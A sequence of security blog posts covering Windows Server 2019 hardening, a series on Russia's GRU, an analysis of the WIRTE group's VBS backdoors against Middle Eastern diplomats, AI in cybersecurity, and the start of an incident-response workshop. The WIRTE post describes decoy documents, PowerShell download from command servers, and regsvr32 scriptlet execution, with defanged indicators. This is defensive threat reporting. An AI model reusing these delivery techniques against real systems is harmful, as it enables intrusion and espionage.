This model is based on the definition of the sites that the organization considers trustworthy. Therefore, access to sites not included will be considered non-trustworthy. When accessing a non-trusted site, access is done in an isolated container, so if the site is really malicious, the host will be protected against intrusion, since the container is anonymous and has no access to user credentials.

  • System isolation

Protect and maintain system integrity at startup

The system is prepared to prevent any bootkit from booting before the operating system boot loader. This is done using Root of Trust (RoT) based hardware, which is an element of the Unified Extensible Firmware Interface (UEFI). After this validation, Windows and firmware can be started.

Protect and maintain the integrity of the system after booting

Despite the mechanisms developed to avoid increasing privileges attacks, it is not yet certain that the integrity of the critical services of the operating system can be maintained. To do this Windows 10 introduced the security model based on virtualization (VBS). With this concept, it is possible to isolate data in a hardware-based model. In this way, critical services such as Credential Guard, Device Guard, Virtual TPM and parts of Windows Defender, etc., can be protected at runtime.

Validation of the integrity of the system locally and remotely

Through Trusted Platform Module 2.0 (TPM 2.0), the system obtains data that will serve as integrity measures. Both the process and the information are isolated from the hardware, so data collection is not subject to alteration. Through remote systems such as Intune or System Center Configuration Manager (SCCM) can be requested for analysis. If the analysis shows that the system is compromised, you could, for example, deny access to the resources offered by the compromised device.

As commented, what has been tried with this post is to make a first approach to Windows Defender ATP, offering an entry point of the options available to the system administrators, in order to maximize the levels of security offered by Windows Server 2019.

Bibliography and Resources

La entrada Security in Windows Server 2019 aparece primero en Security Art Work.

(Cyber) GRU (I): Introduction

$
0
0

As we already mentioned in the post about it, within the series on the Russian Cyberintelligence Community, the GRU (GU) is the most opaque of the Russian services, maintaining almost intact its Soviet heritage against the “westernized” FSB o SVR: in fact, the structure and operation of the Service has not been especially well known, being the main reference [1] until rather recently. Beyond specific data of operations without a clear attribution, or the identities of its Director and Deputy Directors -no secret-, little or nothing was known about the Service. However, and certainly very much in spite of the GRU, in 2018 there are – up to now – three facts that give a radical turn to this opacity:

  • On July 13, the US Department of Justice released a document detailing the alleged involvement of the GRU in the interference operations during the 2016 US presidential elections.
  • As if this were not enough, on March 4, Sergey Skripal and his daughter Yulia were poisoned in Salisbury (UK); On September 5, Theresa May herself formally accused ([2]) two alleged members of the GRU of said action, in a statement that ends up talking about Litvinkenko and the demolition of MH17 and that ends up phrase is included. meaningful: It was almost certainly also approved outside the GRU at a senior level of the Russian state.
  • To end the service’s annus horribilis, on October 4 the British NCSC publicly accused the GRU of cyber-espionage activities against the World Anti-Doping Agency (WADA) or against the DNC, among other objectives [3]; also, with “high confidence”, which means what it means … while, almost in parallel, the Dutch MIVD accused the GRU ([4]) of attacking, in addition to different British official bodies, the OPCW (Organization for the Prohibition of Chemical Weapons) – which coincidentally investigated the Skripal poisoning – in April; they cited the service unit 26165 and identified it directly with APT28. The US DoJ is not far behind in the accusations against the GRU, as we will see, and the Canadian government also points to these official accusations. In short, four “Western” countries – which also receive public support from Australian and New Zealand partners, thus completing the Five Eyes – accuse the GRU of cyber-espionage.

Undoubtedly, the GRU must not have liked this protagonism at all, since it has taken the Service to the front pages of general newspapers around the world; so much so that on November 22 the death of General Igor KOROBOV, the commander of the GRU, is announced after a “long and serious illness” (perhaps aggravated, but not caused, by some reprimand of higher instances for all the errors committed). Initially, General Sergey ALEKSANDROVICH GIZUNOV, Deputy Director of the GRU and President Putin’s trusted person, was spoken of as a possible successor to the head of the Service, but that same day Vice Admiral Igor KOSTYUKOV, until then First Deputy Director, assumed the functions of Director. General GIZUNOV, in addition to being Deputy Director of the GRU, holds a doctorate in Technical Sciences, possibly computer science or mathematics, and comes from the service’s SIGINT apparatus ([5]); he was in fact the Head of Unit 26165 a few years ago. After the death of Igor SERGUN, former Director of the GRU, in January 2016, his name was already shuffled among the successor candidates (GIZUNOV was already Deputy Director), although KOROBOV was finally chosen: perhaps the GRU considered SIGINT as a purely operational aspect, supporting the strategy of the service and global intelligence. In 2018, after the death of KOBOROV, perhaps it still thinks the same… or maybe not.

In view of what has happened this year, in 2018 the GRU has gone from being considered by many analysts as one of the best services in the world to see how sensitive data of its operations, its officers, its interests and capabilities are published… and which also reveal OPSEC measures that are more than poor in their actions. Being the elite of Russian intelligence, the GRU has spent a few months focusing on criticism from the Kremlin, the political opposition and the other Russian intelligence services.

We are going to deal in the present series with these facts that in recent months have turned around the perception that many analysts had of the GRU in order, once seen, to determine what new information related to structures, people, objectives, tactics, techniques… have contributed directly or indirectly to all of us who are interested in knowing the cyber environment of Russian services, especially military intelligence.

References
[1] Viktor Suvorov. Inside Soviet Military Intelligence. MacMillan Publishing Company, 1984.

[2] UK. https://www.gov.uk/government/speeches/pm-statement-on-the-salisbury-investigation-5-september-2018

[3] NCSC. https://www.ncsc.gov.uk/news/reckless-campaign-cyber-attacks-russian-military-intelligence-service-exposed

[4] MIVD. https://www.government.nl/latest/news/2018/10/04/netherlands-defence-intelligence-and-security-service-disrupts-russian-cyber-operation-targeting-opcw

[5] Russian Defense Policy. Still Awaiting New GRU Chief. Enero, 206. https://russiandefpolicy.blog/2016/01/23/still-awaiting-new-gru-chief/

La entrada (Cyber) GRU (I): Introduction aparece primero en Security Art Work.

WIRTE Group attacking the Middle East

$
0
0

The Intelligence Development Group of S2 Grupo has carried out an investigation on an actor from whom GREIN has not been able to find references or similarities in open sources and who has been identified as WIRTE.

The DFIR (Digital Forensics and Incident Response) team of S2 Grupo first identified this actor in August 2018 and since then the follow-up has been carried out during the last few months.

This group attacks the Middle East and does not use very sophisticated mechanisms, at least in the campaign started in August 2018 which was monitored. It is considered unsophisticated by the fact that the scripts are unobtrusive, communications go unencrypted by HTTP, they use Powershell (increasingly monitored), and so on. Despite this apparently unsophisticated modus operandi compared to other actors, they manage to infect their victims and carry out their objectives. In addition, as will be seen during the report, the detection rate of some of the scripts in December 2018 by the main antivirus manufacturers is low, an aspect that must be highlighted. We must be aware that once these scripts are executed, it is when the behavior analysis of many solutions will detect them, but this fact has not been studied by GREIN.

This actor in all the artifacts analyzed shows his victims a decoy document in Arabic with different themes. During the report these documents will be analyzed and who could be the objectives depending on the topic dealt with in the document.

Technical analysis

As indicated above, during the month of August 2018 S2 Grupo CERT we managed an incident aimed at the diplomacy of different Middle Eastern countries.

The attackers used a malware made in Visual Basic Script (VBS) as a tool to control the victim. Starting from the study of this VBS from S2 Grupo CERT, the monitoring of this group was started, finding in other sources other artifacts from the same group but with different decoy documents and with different strategies of execution, persistence, and so on. S2 Grupo does not have enough information to make any type of attribution or authorship. It is associated that these artifacts are related because they reflect similarities from a technical and temporal point of view and because of the decoy documents used, since sometimes they are identical.

One aspect observed during the investigation is that the attackers after running the VBS used it as an Empire post-exploitation framework (https://github.com/EmpireProject/Empire).

A total of five scripts plus the one involved in the incident could be collected. Below we detail the main characteristics of each.

Script 1: 617bbc71e5f0a645cbb8eeb6d4a1ece96ba0860c8ab5deda6a795e6ad244607a

This first file can be seen in Virus Total and has a low detection (4/58). The last analysis took place on 12/12/2018.

In this case the file was uploaded from Palestine to Virus Total:

In the image you can see that it was uploaded through the web, from PS (Palestine) and also that it was uploaded for the first time on 5 Aug. 2018.

Network communication occurs over HTTP to the micorsoft[.]store domain to TCP/2082 port. This domain since it exists has resolved to the following ip addresses:

  • 104.31.78.17
  • 104.31.79.17
  • 185.86.79.243

Currently resolves to a Cloudflare address. Port 2082 is one of the ports allowed by Cloudflare for HTTP traffic. It should be noted that the first IP address 185.86.79.243 is geolocated in Ukraine. This IP address has been assigned to different domains, among them the malicious one.

Apparently the attackers changed their IP address and hid behind Cloudflare at some point.

In this script this communication information is all in the RunPld() function. This function aims to download the powershell code from the command and control server and execute it:

Another common function in these scripts is the writeDOC function. This function decodes the decoy document, write it to disk and show it to the victim. This document is encoded in base64 and embedded in the script itself in a variable.

The VBS script copies itself to APPDATA through the copyVBS() function:

The script itself does not establish persistence in its first execution, so either the attackers deploy it later when they execute powershell or fix it by transporting this script. The script once copied to APPDATA will have the following name: Update.vbs.

On the other hand, if the script is running from APPDATA it does not show the document and only executes the RunPld() function which is the backdoor in powershell and that has been detailed previously. If it is not being executed from APPDATA it shows the DOC file “decoy”, it copies and executes the backdoor (script in powershell).

When the victim executes the VBS file, a Word document will be opened with the following content (you can see on the left in Arabic and next to it the translation made by Google Translate):

The document we have shown is intended to simulate that it was sent from the Ministry of Foreign Affairs of Saudi Arabia. Presumably, it seems that the addressee was the Ministry of Awqaf and Islamic Affairs of Kuwait, since (Kuwait – Jeddah) appears in the very signature of the document. It was also apparently addressed to the Kuwaiti Consulate of the Cooperation Council of the Arab States of the Gulf, a highly important body within the countries of the Arabian Gulf.

The text mentions that attached, the recipient will find a document from the Saudi Ministry of Foreign Affairs called “Hajj affairs”, which is of interest to all those Arab countries that have citizens who have interests in carrying out the pilgrimage to the Mecca. In addition, it encourages recipients to forward the document to other government organizations in countries with interests linked to the “Hajj” that have been approved by the same Ministry of Culture of Saudi Arabia. Presumably, the author intends to generate an infection among the “partner states” of Saudi Arabia; the “target” of the issuer could be the members of the diplomatic corps of countries with interest in the “Hajj” and especially the diplomats who are part of the Cooperation Council of the Arab States of the Gulf, since the issuer promotes the forwarding of the document to all interested parties.

There are five fundamental pillars within the religion of Islam. One of them is the “Hajj”, which implies that all Muslims must visit Mecca at least once in their lifetime. This monument is located in the Jeddah region within Saudi Arabia. The “Hajj” is significantly relevant to Muslims around the world. Consequently, this text is attractive and of interest to both Shi’ite and Sunni Muslims.

The date of issuance of the document is relevant as it was held in August, approximately two weeks before the great pilgrimage, just when thousands of people of Muslim faith would begin the pilgrimage to Jeddah in Saudi Arabia. Consequently, the chances of a possible victim opening the document increase significantly.

Script 2: b4c20b56059a6c6762b4c99d04eb9177cb0a4707c58ef575817fb8b702f162aa

This file in Virus Total has a low detection, 2/56, and the last analysis took place on 1 Dec. 2018.

In this case the file has been uploaded from Palestine to Virus Total:

In the image you can see that it was uploaded through the web, from PS (Palestine) and also that it has been uploaded for the first time on 08/25/2018.

The network communication in this case is also produced by HTTP to the domain micorsoft[.]store to the port tcp/2082.

In this case the script has exactly the same code as the hash “617bbc71e5f0a645cbb8eeb6d4a1ece96ba0860c8ab5deda6a795e6ad244607a”. The only thing that varies is the decoy document that we can see below:

The information presented in the document is directly related to security issues and internal political affairs of Palestine. The main actors mentioned in the text are Hamas, Al Fatah and the Palestinian government. The information is an analytical summary of the current political situation in Palestine and even analyzes in geostrategic terms some current aspects. In addition, the document informs about the potential political strategies that the previously mentioned actors could undertake in the future. This type of information is highly relevant for diplomats with political interests in the geographical area of Gaza and Palestine. Consequently, it might be feasible for the document’s target audience to be diplomats, politicians and professionals from the defense sector.

Script 3: b906f3c19c19e1b20b2d00bfb82b5453d5386d63b4db901ecade0f33dd38326a

This file in Virus Total has a low detection, 3/56, and the last analysis took place on 1 Dec. 2018.

In this case the file was uploaded from Sweden to Virus Total:

In the image you can confirm that it has been uploaded by the community, from SE (Sweden) and also that it has been uploaded for the first time on 6 Nov. 2018.

The network communication in this case is also produced by HTTP to the micorsoft[.]store domain to the TCP/2082 port.

In this case the script has exactly the same code as the previous two; the decoy document is identical to “617bbc71e5f0a645cbb8eeb6d4a1ece96ba0860c8ab5deda6a795e6ad244607a”, varying only from where it was uploaded and the dates regarding the first one.

Script 4: 3d4a9466e9428ccb1cde05336f5366b29c7e5ae454ddaa4aa28c75c504c13d96

This file in Virus Total has a low detection, 8/56, and the last analysis took place on 12/12/2018. We can see that this document has a higher detection to the rest, although it is certain that some were not re-analyzed on December 12th.

In this case the file was uploaded from Palestine to Virus Total:

In the image you can see that it was uploaded through the web, from PS (Palestine) and also that it was uploaded for the first time on 08/25/2018. The upload date matches the hash date “b4c20b56059a6c6762b4c99d04eb9177cb0a4707c58ef575817fb8b702f162aa”.

The network communication in this case is produced by HTTP to the domain office365-update[.]co to TCP/2082 port. This hash changes the domain and then the structure of the script is different from the others, although it maintains functions and similarities with the rest.

The ip addresses to which the domain has resolved are:

  • 104.24.108.64
  • 104.24.109.64

In this case, the domain has always resolved to CloudFlare and it has not been observed that it has resolved to another IP address as in the previous case.

The main of the script is simple and we are going to review its flow:

We are going to see what logic each of the functions has.

The first function that we find is writeTXT():

The function it does is to save, in a file named sys.txt and in a path set from the script, the content of the fileContent variable that is part of a powershell script. It should be noted that the write-to-file function used is wirteFile(), which as can be seen has produced a typographical error that has been seen in several of the scripts that implement this functionality.

The function writeSCT():

The function creates an SCT (scriptlet) file on disk to execute through the JScript language a powershell whose code is in the TXT file written by the writeTXT() function.

Regsvr32.exe is used to trigger the execution:

The writeDOC() function performs the same logic as in the hash “617bbc71e5f0a645cbb8eeb6d4a1ece96ba0860c8ab5deda6a795e6ad244607a” and which has already been explained.
In this case the decoy document shown to the victim is the same as that presented in “b4c20b56059a6c6762b4c99d04eb9177cb0a4707c58ef575817fb8b702f162aa”.

Script 5: 4f5d633604b8a3cceb7d582bab640d47e8a5898458c5c2f0e28adcdf01aabf33

This file has a higher detection rate than the previous ones: you can see that 20/58 antivirus identify it as harmful.

In the image you can see that it has been uploaded through API, from the US and also that it has been uploaded for the first time on 2 Sept. 2018. The date of upload is after the artifacts uploaded from Palestine, but close in time.

In this case you can see a reference to this script in a tweet (https://twitter.com/ItsReallyNick/status/1036687952544448512) by Nick Carr (@ItsReallyNick), where he details all the technical aspects of the script:

By viewing the tweet thread we can see how they indicate that in this case runs a VBScript #Houdini RAT and that the command and control server is hxxp: //149.28.14[.]103:535/ is-ready.

When looking for which domains have resolved to this IP address it is observed that the only one categorized as malware is related to spdns.de and searching for this domain name we come to the analysis https://gist.github.com/JohnLaTwC/ccdcbeb85649ef9feaae045482d694b9 (from @ JohnLaTwC) that shows how this domain is configured with port 535 and with HTTP requests from RAT Houdini. The domain was resolving to IP addresses until August 30, 2018.

The fact that in this case the actor uses a Houdini varies from the rest of VBS found, which based their execution on a powershell script that received commands from a remote server and executed them, but even so there are several aspects that lead us to think that it is the same actor:

  • • There are matching function names: writeTXT, writeDOC, wirteFile (this is a very important indicator since it is the same typographical error).
  • • Then writeDOC has the same logic and, besides, the decoy document is also in Arabic.

In this case the decoy document is different from the previous ones, so everything presupposes that the objective is different:

The document refers to information related to the Security Forces in the territory of northern Gaza involved in defending of the border. The information refers to an accreditation and decoration by Palestinian governmental authorities for their members of the law enforcement and security forces. The target of this malicious document could be soldiers, police, professionals linked to the Ministry of Defense and members of the diplomatic corps in Gaza. The current government within the Gaza Strip is Hamas, a party that has a military arm considered by different countries as a terrorist group.

Indicators of compromise

La entrada WIRTE Group attacking the Middle East aparece primero en Security Art Work.

Cyber (GRU) (II): historical SIGINT

$
0
0

The GRU, Military Unit 44388, obtains and processes intelligence from multiple disciplines, including IMINT, SATINT and, of course OSINT, with information needs linked to the military, political, technological, economic and ecological/energy fields ([1]). It was already indicated in the article dedicated to the GRU, within the series on the Russian Cyberintelligence Community, that the Sixth Directorate of the GRU has historically had the SIGINT (COMINT and ELINT) attributions of the Service. An excellent description of these attributions can be found in [2]; in the image, the historical structure of the GRU:

The Sixth Directorate, which reports directly to the Service’s Deputy Director for Technical Affairs, was divided into four divisions

  • COMINT,coordinating all the COMINT activities of the GRU and its Transmission Regiments and also responsible for the interception network of the Service.
  • ELINT, similar to the previous one but for non-COMINT signal intelligence (ELINT and perhaps TELINT).
  • Technical Support, the branch responsible for the operation and maintenance of the GRU’s interception capabilities around the world, from those located in embassies or consulates to large stations such as Lourdes (Cuba).
  • SIGINT monitoring, operating and reporting to the Service Command Post, in 24 × 7, to monitor the military situation worldwide, especially in the USA.

In addition to the structure of the Sixth Directorate, the GRU has other capabilities related to signal intelligence, from the Service Command Post to the Spacial Intelligence Department. We could even talk about the theft of cryptographic material via HUMINT, but of all these additional capabilities, the following are especially relevant – due their proximity to the cyber environment:

  • Decryption Service, which receives and decrypts communications acquired by the GRU worldwide, especially from the Technical Support branch, and which is located in Komsomolskiy Prospekt (Moscow) ([3]). Contrary to what appears in some publications, this service does not depend on the Sixth Directorate, but is directly subordinated to the Director of the GRU.
  • Special Processing Center of the GRU (Spetsialniy Tsentr), which, from its headquarters in the outskirts of Moscow, processes the enormous volume of communications provided by the Sixth Directorate through Soviet systems ([4]).
  • Central Scientific Research Institute, in Moscow, responsible for the design of SIGINT equipment for the GRU ([5]).
  • Operational Technical Directorate, of the General Directorate of Technical Affairs, independent from the Sixth Directorate since 1968 and which is responsible for research, development and procurement of the SIGINT hardware of the GRU.

Finally, and outside the GRU structure but coordinated and supported by it, each of the military land or naval areas of the former USSR had its own Intelligence Directorate (RU), and at the same time a department -the Fifth Department- was established within each of them, responsible for radioelectronic recognition. This Fifth Department was in charge of analysing the signal intelligence collected by the Transmission Regiments and their stations in each of these military zones. Operational intelligence was developed in these RU, so its coordination depended on both the Sixth Directorate of the GRU and the Fifth Directorate of the Service.

References

[1] Roland Heickerö. Emerging Cyber Threats and Russian Views on Information Warfare and Information Operations. FOI. Swedish Defence Research Agency. March, 2010.

[2] Desmond Ball. Soviet Signals Intelligence (SIGINT). Canberra papers on strategy and defence, no. 47. Strategic and Defense Studies Centre. Research School of Pacific Studies. The Australian National University. Canberra, 1989.

[3] Desmond Ball, Robert Windrem. Soviet signals intelligence (Sigint): Organization and management. Intelligence and National Security. Volumen 4, Issue 4. 1989.

[4] Karl Maria Michal de Leew, Jan Bergstra (Ed.). The History of Information Security: A Comprehensive Handbook. Elsevier. August, 2007.

[5] Jeffrey Carr. Inside Cyber Warfare: Mapping the Cyber Underworld. 2nd edition. Ed. O’Reilly, 2011).

La entrada Cyber (GRU) (II): historical SIGINT aparece primero en Security Art Work.

Artificial intelligence and cybersecurity

$
0
0

The eternal game of cat and mouse between attackers and defenders in the world of cybersecurity has historically involved a constant improvement of the methodologies carried out by both parties. The rapid and innovative development of Artificial Intelligence (AI) is very attractive for the development of new methodologies for both attackers and defenders.

Broadly speaking, AI refers to the learning done by machines or computers, to carry out actions considered as “intelligent”. One of the great challenges of this discipline is to provide them with “human” capabilities so that they can have behaviors similar to ours. One of the branches with the greatest potential today in artificial intelligence is the so-called ‘Machine Learning’. The basic objective of this branch is to “train” the machine so that it is capable of giving an adequate response based on input parameters.

MACHINE LEARNING

Within this branch there are two types of techniques: supervised learning and unsupervised learning. Supervised learning is responsible for training a type of model based on known inputs and outputs, in order to predict future outputs. For its part, unsupervised learning is responsible for estimating patterns from certain inputs.

Another concept to take into account is neural networks. This data model, used in both supervised and unsupervised training techniques, attempts to emulate the functioning of the human brain. They are usually organized in three parts: the first is the input layer, the second is made up of several intermediate layers, and the third is the output layer, with one or more target units. The peculiarity of this technique lies in the fact that each ‘neuron’ has a variable weighting that is trained and improved until it achieves high precision.

It is also worth mentioning in this report one of the most recent techniques in AI. This technique called ‘GAN‘ [Spanish] (Generative Adversarial Networks), uses two neural networks, one devoted to create what is supposed to create (for example: images of human faces), and the other to discriminate (for example: determine whether an image corresponds to a human face or not). Over time, both neural networks test each other and improve until it is impossible for the discriminating network to determine whether the image it is visualizing is real or not. Thanks to this technique, it has been possible to create, among other things, hyper-realistic images and sounds.

CYBERSECURITY

Many companies in the cybersecurity industry are using ‘Machine Learning’ to detect possible threats, using for that the record of threats resolved by analysts. Given the high number of resolved threats registered, this type of IA training can be very effective and useful.

To give an example that reinforces the potential of the use of ‘Machine Learning’, we can expect the cybersecurity industry to have terabytes of information containing records of  malicious events detected. Given the increasing trend of attacks, it is logical to think that an analyst may become overwhelmed. This is where Machine Learning-based AI has its role.

This branch of AI might be able to learn from the record of malicious events, choosing as input parameters the main factors chosen by the analyst to classify the event as malicious (e.g. file size, file content, source IP address, behavior, connection type…), therefore being able to determine with high precision the probability that an event is malicious or not.

We should also considering the application of neural networks in order for our AI learn from new unknown patterns and identify potential threats in an effective way, through the GAN technique mentioned above.

THREATS

While AI is providing an advantage for cybersecurity analysts, different attack proposals are also beginning to emerge, that combine IA with existing classical methodologies. At this very moment, there are few or no records of its use in the wild, as there are still techniques very limited and experimental. However, there is some research done by companies and universities that warn of its likely near use by cybercriminals.

  • Evasive malware: IBM researchers have created a type of evasive malware called ‘DeepLocker‘, which uses artificial intelligence to keep its malicious payload hidden (for example in videoconferencing software), waiting to find a specific victim through facial recognition. The use of this technique makes its reverse-engineered unlocking virtually impossible today. The case of application that uses this IA is the model of ‘Deep Neural Network’ or DNN.
  • Against AI itself: Cyber-criminals could make use of the knowledge of an AI system trained in a specific environment to deceive it. For example, if AI is used in the cybersecurity industry to detect new threats and the cybercriminal identifies its modus operandi for classifying a potential threat, he could camouflage his attack  in order to go unnoticed. Obvious countermeasures are to prevent unauthorized personnel from accessing the training model of the AI and never entrust IA with the absolute task of determining whether or not the different events pose a threat. The AI has to be established as a support base for the analyst and in no case should it replace the analyst.
  • Identity impersonation and social engineering: One of the areas in which AI is advancing most through the use of ‘Deep Neural Networks’ is in the recreation of human characteristics. For example, we find AI almost capable of recreating speech with a human voice. Imagine the consequences if physical access control is done by voice or the AI can  make a call with the voice of some senior manager. ‘Deep Neural Networks’ can also be used to bypass biometric controls by fingerprint, as developed by experts from the New York University School of Engineering in what they have called ‘DeepMasterPrints‘. This tool takes advantage of the fact that there are areas of the fingerprints that have many common characteristics (see https://arxiv.org/pdf/1705.07386.pdf) and that most scanners do not read the entire fingerprint, which makes it easier for cybercriminals. In addition, to achieve a higher success rate, researchers have created realistic fingerprints by training the AI with real fingerprints using a ‘GAN’.

In short, we can conclude that the fast development of AI, coupled with its high potential, can change the way we understand cybersecurity. Because much of this technology is publicly available on the Internet and its integration with different attack techniques is feasible, it can be estimated that there will be an inevitable upward trend in its use by cybercriminals. On the other hand, the cybersecurity industry will have to adapt introducing AI in the short/medium term so as not to be defenceless against cyber-criminals using this technology.

One thing seems clear: the side that first introduces AI in cybersecurity will take a relevant lead in the upcoming years.

La entrada Artificial intelligence and cybersecurity aparece primero en Security Art Work.

(Cyber) GRU (III): July 2018

$
0
0

As we have said, if until this year the GRU was one of the most opaque services in the world, in 2018 everything changes. Three facts stand out in the chronography, which conclude with the death of Lieutenant General KOROBOV in November; we will see in this section the first of them -and in the coming ones the other two, which occurred in the month of July.

On July 13, the US Department of Justice (DoJ) publishes [1], a document accusing twelve GRU agents – directly summoned by name and surnames – of possible Russian interference in the 2016 presidential elections. The person signing the document is none other than Robert Mueller, an advisor to the DoJ who coordinates investigations in this area – that of Russia’s relationship with the US presidential elections- and who, among other things, was director of the FBI for more tan ten years. After this accusation, the FBI includes among its “Cyber most wanted” the twelve agents of the service, highlighting that they can be armed and dangerous. Until then, the only Russian service that had the privilege of having agents among the most wanted by the FBI was the FSB.

Search poster published by the FBI (July 2018)

U.S. intelligence had publicly pointed out to its Russian counterparts of interference in the 2016 electoral process ([2]), even linking the GRU to direct attacks and to the publication of exfiltrated information. However, the DoJ document goes into detail and identifies two units of the GRU -26165 and 74455- as directly responsible for activities in the cyber field aimed at interfering in said elections, marking unit 26165 as the direct operative (attacks against relevant actors, for example via spear phishing, document stealing, etc.) and unit 74455 as a significant actor in associated disinformation operations, such as the dissemination of documents or emails or the handling of Guccifer 2.0 sockpuppet. The accused by the DoJ are twelve Russian intelligence officers, nine belonging to unit 26165 and three belonging to unit 74455, as summarized in the following table:


Unit Name Job Position Aliases Accusations
26165 Viktor BORISOVICH NETYKSHO Coronel Unit Head Intrusion in DCCC y DNC
26165 Boris ALEKSEYEVICH ANTONOV Commander Department Head Intrusion
26165 Dmitriy SERGEYEVICH BADIN Assistant Department Head
26165 Ivan SERGEYEVICH YERMAKOV Kate S. Milton
James McMorgans
Karen W. Millen
26165 Aleksey VIKTOROVICH LUKASHEV Lieutenant Den Katenberg
Yuliana Martynova
26165 Sergey  ALEKSANDROVICH MORGACHEV Lieutenant Colonel Department Head Malware development
26165 Nikolay YURYEVICH KOZACHEK Capitán Kazak
blablabla1234565
Malware development
26165 Pavel VYACHESLAVOVICH YERSHOV Support for malware development
26165 Artem ANDREYEVICH MALYSHEV Lieutenant djangomagicdev
realblatr
Malware operation
74455 Aleksandr VLADIMIROVICH OSADCHUK Colonel Unit Head Publication of stolen information
74455 Aleksey ALEKSANDROVICH POTEMKIN Deparment Head Infraestructure and Identity Management
74455 Anatoliy SERGEYEVICH KOVALEV


The personnel of unit 26165, located at number 20 of Komsomolskiy Prospekt, and of unit 74455, located at number 22 of Kirova Street, in the Khimki district, in both cases in Moscow; details of each of these units are also given: they are commanded by a Colonel, they have different departments with specific tasks (malware development, zombie operation…) The DoJ indictment also describes the TTPs of the attackers with a amazing level of detail, as well as dates of actions as specific as the X-Agent implant in a victim or the name of the person performing such action, within the framework of GRU operations against the DCCC (Democratic Congressional Campaign Committee) and the DNC (Democratic National Committee). It also analyzes with the same level of detail the efforts of the hostile actor to persist in the victim or the handling of stolen information and its diffusion through the framework DCLeaks (sockpuppet, website, social networks…) and Guccifer 2.0., As well as the relationship between both.

As we have said, at all times, both in the technical area of intrusion and persistence and in the less technical area of the use of stolen information, the level of detail provided by the DoJ is impressive; without going into whether this level is usual in DoJ accusations relating to National Security – I have no criterion – certainly from an intelligence point of view, giving so much information of knowledge about an adversary is neither usual nor good … There are also, especially in October, as we will see later, unusual levels of detail in public sources about tactics, techniques, identities … of GRU agents and their operations. We will see, at the end of the work, some questions that we ask ourselves regarding the reason for this level of detail – and its possible answers.

References

[1] DoJ. July 2018. https://www.justice.gov/file/1080281/download 

[2] ODNI. Assessing Russian Activities and Intentions in Recent US Elections. January, 2017.

La entrada (Cyber) GRU (III): July 2018 aparece primero en Security Art Work.

(Cyber) GRU (IV): September 2018

$
0
0

Serguei Skripal was a GRU agent who was arrested in 2004. He was accused of collaborating with the British MI6 and sentenced for high treason until 2010, when he was exchanged for Russian agents arrested as part of the ‘Operation Illegal’. Since then, he had lived in the United Kingdom, apparently away from any “annoying” activity linked to his past as a member of the Service. However, in March 2018, he was found unconscious together with his daughter Yulia – she was visiting the United Kingdom – in a bank in Salisbury, allegedly the victim of an attack with Novichok, a Soviet nerve agent. The United Kingdom blames Russia for this attack without much detail.

At the end of June two Britons, a man and a woman, were admitted to the Salisbury District Hospital. An ambulance brought them from Amesbury, a few kilometres from where the former GRU agent and his daughter were poisoned. The investigation confirmed that they had also been poisoned with Novichok, apparently by accident: none of them had any previous connection with what happened in March and, possibly, they found by chance the nerve agent in what appeared to be a bottle of perfume abandoned in a park. The woman died in early July as a result of the effects of the poisoning.

On September 5, as we have already indicated, Theresa May accused two Russian citizens, GRU members, of the Skripal poisoning ([1]). It was publicly stated that Alexander PETROV and Ruslan BOSHIROV (aliases according to the British police itself) travelled to the United Kingdom from Russia. They impregnated a door handle with Novichok, got rid of the poison and returned to Moscow. Numerous security camera captures were provided as evidence. They were accused of conspiracy, attempted murder, possession and use of the nerve agent… but Theresa May herself was aware of the difficulty of extraditing these citizens – perhaps because of the experience gained during the Litvinenko case -.

The Russian reaction and denial came swiftly and even RT interviewed both accused. During that interview they identified themselves as fitness teachers who had gone to Salisbury to enjoy its cathedral, and of course they denied any relationship with GRU. Nevertheless, independent investigations, in this case the one carried out by Bellingcat, defended using graphic material, supposedly contrasted facts and specific data that they were not two innocent teachers called Ruslan and Alexander, but in fact, one of them was Colonel Anatoly CHEPIGA, member of the GRU Special Forces, and the other was Doctor Alexander YEVGENIYEVICH MISHKIN, Colonel or Lieutenant Colonel of the Service. Both of them hold the title of Hero of the Russian Federation, the highest rank that can be bestowed in Russia, which is conferred directly by the President of the Russian Federation.

Anatoly VLADIMIROVICH CHEPIGA

Alexander YEVGENIYEVICH MISHKIN

Of course, these particular accusations – not confirmed by the British government – were refuted by Russia, which tried to discredit organisations such as Bellingcat by accusing them of being at the service – and the salary – of Mother Russia’s enemies. Whether this accusation was true or not, the reality was that physical resemblances were astonishing. Aditionally, Alexander PETROV and Ruslan BOSHIROV were never seen together with Anatoly VLADIMIROVICH CHEPIGA and Alexander YEVGENIYEVICH MISHKINK.

It is also true that on December 19 2018, the U.S. Treasury Department issued an official statement([2]) sanctioning several people, some of them linked to GRU, including the names of Anatoly VLADIMIROVICH CHEPIGA (associated with the Ruslan BOSHIROV identity) and Alexander YEVGENIYEVICH MISHKIN (associated with the Alexander PETROV identity)… an official notification that seemed to confirm Bellingcat’s investigations.

References

[1] Gobierno UK. Septiembre 2018. https://www.gov.uk/government/speeches/pm-statement-on-the-salisbury-investigation-5-september-2018
[2] US Department of the Treasury. Notice of Intended Removals; Ukraine-/Russia-related Designations; Cyber-related Designations. Diciembre 2018. https://www.treasury.gov/resource-center/sanctions/OFAC-Enforcement/Pages/20181219_33.aspx

La entrada (Cyber) GRU (IV): September 2018 aparece primero en Security Art Work.


Case study: “Imminent RATs” (I)

$
0
0

Note: This is a fictional story; the characters and situations are not real. The only real thing is the technological part, which is based on a mixture of work done, experiences of other colleagues and research carried out.
These articles are part of a basic incident response workshop. Therefore, there are things that could be done more efficiently and elegantly… but the idea was to do them in a simple way so that they were easy to understand. And like any good practical workshop, you can follow it step by step: you can download a Remnux virtual machine with everything you need for the workshop here (for VMWare) or here (.ova format)).

Incident Response in less than 15 lines

Ultra-fast summary of incident response:

  • Preparation: We prepare ourselves for a possible attack by deploying detection and response measures in the Organization.
  • Detection and analysis: We detect possible attacks and analyze them to determine whether or not they are false positives, and in the event of an attack we analyze its severity.
  • Containment, eradication and recovery: We contain the spread of the attackers through the system, expel them and return the system to normal operation.
  • Post-incident lessons: We analyze the incident in search of measures to improve both the security of the system and the response itself for future incidents.

Preparation

In this case study we have an Organization with an intermediate maturity in its security measures: computers have antivirus, a mail gateway with an antispam/antivirus, a proxy that controls navigation, a firewall that controls incoming and outgoing connections and an intrusion detector that can generate alerts against possible attacks.

On the downside, we know that the updates in general (security patches, antivirus signatures and intrusion detector signatures) leave much to be desired, and that users’ security awareness is … disparate, so to speak.

Detection and analysis: “Something is wrong with my computer”

